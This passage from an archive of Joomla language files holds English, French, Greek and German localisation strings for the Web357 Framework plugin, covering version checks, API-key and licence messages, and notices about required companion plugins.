href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other W357FRM_ONLY_IN_PRO="Available only in %s version." W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/fr-FR/index.html000060400000000037151721520510011233 0ustar00<!DOCTYPE html><title></title> language/fr-FR/fr-FR.plg_system_web357framework.sys.ini000060400000001243151721520510016667 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="Système - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/fr-FR/fr-FR.plg_system_web357framework.ini000060400000030633151721520510016057 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="Système - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Vérifier la version" W357FRM_HEADER_JED_REVIEW_AND_RATING="Évaluation et avis sur la JED ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Description" W357FRM_HEADER_ABOUT_WEB357="À propos de Web357" W357FRM_HEADER_PARAMETERS="Paramètres" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="Votre version actuelle est" W357FRM_VIEW_THE_CHANGELOG="journal des modifications" W357FRM_UP_TO_DATE="Votre version est à jour. Félicitations !" W357FRM_UPDATE_TO_THE_LATEST_VERSION="Vous devez mettre à jour cette extension vers la version la plus récente." W357FRM_GO_TO_DOWNLOAD_AREA="Téléchargez-là depuis l'espace de téléchargement." W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Mettre à jour depuis le gestionnaire de mise à jour Joomla." W357FRM_OR="ou" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review W357FRM_LEAVE_REVIEW_ON_JED="Veuillez noter et poster un commentaire sur le répertoire des extensions de Joomla! : <a href='%s' target='_blank'><strong>%s</strong> la JED</a> - Merci !" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY W357FRM_APIKEY_HEADER="Clé API (uniquement pour les extensions commerciales Web357)" W357FRM_APIKEY="Clé API" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." W357FRM_DOWNLOAD_KEY_MISSING="La clé de téléchargement est manquante" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Saisir la clé API Web357" W357FRM_OK="OK" ; W357FRM_MISSING="Missing" W357FRM_DOWNLOAD_KEY="Clé de téléchargement" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other W357FRM_ONLY_IN_PRO="Disponible uniquement dans la version %s." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="OK. L'extension '%s' est activée et prête à être utilisée." W357FRM_EXTENSION_IS_NOT_ACTIVE="Erreur : l'extension '%s' n'est pas activée ou n'a pas été installée." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/el-GR/el-GR.plg_system_web357framework.sys.ini000060400000001200151721520510016644 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Περιγραφή" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Περιγραφή" language/el-GR/el-GR.plg_system_web357framework.ini000060400000030460151721520510016041 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Έλεγχος έκδοσης" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Περιγραφή" W357FRM_HEADER_ABOUT_WEB357="Σχετικά με την Web357" W357FRM_HEADER_PARAMETERS="Παράμετροι" ; Version Check ; W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" ; W357FRM_VIEW_THE_CHANGELOG="changelog" ; W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" ; W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" ; W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" ; W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." ; W357FRM_OR="or" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" ; W357FRM_APIKEY="API Key" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other ; W357FRM_ONLY_IN_PRO="Available only in %s version." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension ; W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." ; W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/de-DE/de-DE.plg_system_web357framework.ini000060400000032624151721520510015765 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System – Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein wichtiges Hilfswerkzeug zur Unterstützung aller weiteren Web357-Erweiterungen. Dieses Plugin zentralisiert die Durchführung von Aktualisierungen und stellt sicher, dass Änderungen an einem einzigen 